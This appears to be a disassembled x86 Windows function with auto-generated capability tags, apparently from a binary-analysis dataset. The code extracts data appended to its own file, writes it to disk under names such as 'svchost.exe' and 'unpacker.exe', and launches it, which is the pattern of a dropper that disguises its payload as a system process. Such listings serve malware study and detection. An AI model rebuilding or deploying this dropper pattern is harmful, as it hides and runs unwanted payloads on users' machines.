Function at 0x4036b8
Capabilities:
Check if file exists
Create process on windows
Delete file
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x409314
call fcn.00404738
sub esp, 0x2a4
push ebx
push esi
push edi
lea eax, [ebp - 0x5c]
xor ebx, ebx
push str.Mrak1pack
push eax
mov dword [ebp - 4], ebx
call fcn.004041e0
pop ecx
mov byte [ebp - 0x4e], 4
pop ecx
push ebx
lea ecx, [ebp - 0x1c]
call section..text
push ebx
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call section..text
push ebx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call section..text
mov eax, dword [0x40c814]
mov edi, dword [0x40c810]
mov esi, eax
mov byte [ebp - 4], 3
cmp esi, ebx
jle 0x403727
cmp byte [edi + esi], 0x5c
je 0x403727
dec esi
cmp esi, ebx
jg 0x40371c
inc esi
xor ecx, ecx
cmp esi, eax
jge 0x40373c
mov dl, byte [edi + esi]
mov byte [ebp + ecx - 0x2b0], dl
inc ecx
inc esi
jmp 0x40372a
lea eax, [ebp - 0x2b0]
mov byte [ebp + ecx - 0x2b0], bl
push eax
lea ecx, [ebp - 0x1c]
call fcn.004010a7
mov ecx, 0x40c810
call fcn.00402480
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call section..text
call fcn.00403601
pop ecx
cmp al, bl
pop ecx
je 0x403ad0
push 0x40c810
call fcn.00401c15
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x38], edi
je 0x403ad0
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xffffffffffffffe8
push edi
call esi
lea eax, [ebp - 0x44]
push ebx
push eax
lea eax, [ebp - 0x5c]
push 0x18
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
call edi
push ebx
push ebx
push ebx
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x4c]
call fcn.0040434b
pop ecx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x44]
push ebx
push ecx
push dword [ebp - 0x4c]
push eax
push dword [ebp - 0x38]
call edi
lea eax, [ebp + 8]
lea ecx, [ebp - 0x14]
push eax
call fcn.0040106a
lea eax, [ebp - 0x24]
push str._svchost.exe
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 4
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403810
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403897
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x403897
push 0x40c820
lea ecx, [ebp - 0x14]
call fcn.0040106a
lea eax, [ebp - 0x24]
push 0x40c1bc
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 5
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403867
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x24]
push str.unpacker.exe
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 6
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403897
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x14]
push eax
call fcn.00401bdc
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x4038be
push dword [ebp - 0x3c]
call fcn.00404359
pop ecx
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403ad0
lea eax, [ebp - 0x44]
push ebx
push eax
push dword [ebp - 0x4c]
push dword [ebp - 0x3c]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x3c]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040106a
push dword [ebp - 0x48]
call fcn.0040434b
pop ecx
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x44]
push ebx
push ecx
push dword [ebp - 0x48]
push eax
push dword [ebp - 0x38]
call edi
push 0x40c820
lea ecx, [ebp - 0x14]
call fcn.0040106a
lea eax, [ebp - 0x24]
push 0x40c1bc
push eax
lea ecx, [ebp - 0x14]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 7
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403945
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004010fc
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 8
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 3
je 0x403974
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x14]
push eax
call fcn.00401bdc
mov edi, eax
pop ecx
cmp edi, ebx
jne 0x403997
push dword [ebp - 0x3c]
call fcn.00404359
pop ecx
push dword [ebp - 0x38]
call esi
jmp 0x403ad0
lea eax, [ebp - 0x44]
push ebx
push eax
push dword [ebp - 0x48]
push dword [ebp - 0x3c]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call esi
push dword [ebp - 0x3c]
call fcn.00404359
pop ecx
push dword [ebp - 0x38]
call esi
push ebx
lea ecx, [ebp - 0x34]
call section..text
push 0x44
lea eax, [ebp - 0xb0]
pop edi
mov byte [ebp - 4], 9
push edi
push ebx
push eax
call fcn.00404760
push 0x10
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0xb0], edi
call fcn.00404760
add esp, 0x18
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x14]
push eax
call fcn.0040106a
push 0x40c1ec
lea ecx, [ebp - 0x34]
call fcn.004010a7
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004010fc
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xa
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 9
je 0x403a35
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x24]
push 0x40c1e8
push eax
lea ecx, [ebp - 0x34]
call fcn.004011a5
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xb
call fcn.0040106a
cmp dword [ebp - 0x24], ebx
mov byte [ebp - 4], 9
je 0x403a65
push dword [ebp - 0x24]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x40]
push 0x40c810
push eax
lea ecx, [ebp - 0x34]
call fcn.004010fc
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0xc
call fcn.0040106a
cmp dword [ebp - 0x40], ebx
mov byte [ebp - 4], 9
je 0x403a95
push dword [ebp - 0x40]
call fcn.00404359
pop ecx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x40], ebx
push eax
lea eax, [ebp - 0xb0]
push eax
push dword [ebp + 8]
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x34]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x403b27
cmp dword [ebp - 0x34], ebx
mov byte [ebp - 4], 3
je 0x403acd
push dword [ebp - 0x34]
call fcn.00404359
pop ecx
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 2
je 0x403ae2
push dword [ebp - 0x2c]
call fcn.00404359
pop ecx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
je 0x403af7
push dword [ebp - 0x14]
call fcn.00404359
pop ecx
cmp dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], bl
je 0x403b0b
push dword [ebp - 0x1c]
call fcn.00404359
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x1c], ebx
je 0x403b20
push dword [ebp + 8]
call fcn.00404359
pop ecx
xor al, al
jmp 0x403ba8
push dword [ebp - 0x6c]
call esi
push dword [ebp - 0x68]
call esi
push ebx
push ebx
push 0x10
push dword [0x40c830]
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 0x34], ebx
mov byte [ebp - 4], 3
je 0x403b53
push dword [ebp - 0x34]
call fcn.00404359
pop ecx
cmp dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], ebx
mov byte [ebp - 4], 2
je 0x403b68
push dword [ebp - 0x2c]
call fcn.00404359
pop ecx
cmp dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 4], 1
je 0x403b7d
push dword [ebp - 0x14]
call fcn.00404359
pop ecx
cmp dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], bl
je 0x403b91
push dword [ebp - 0x1c]
call fcn.00404359
pop ecx
or dword [ebp - 4], 0xffffffff
cmp dword [ebp + 8], ebx
mov dword [ebp - 0x1c], ebx
je 0x403ba6
push dword [ebp + 8]
call fcn.00404359
pop ecx
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret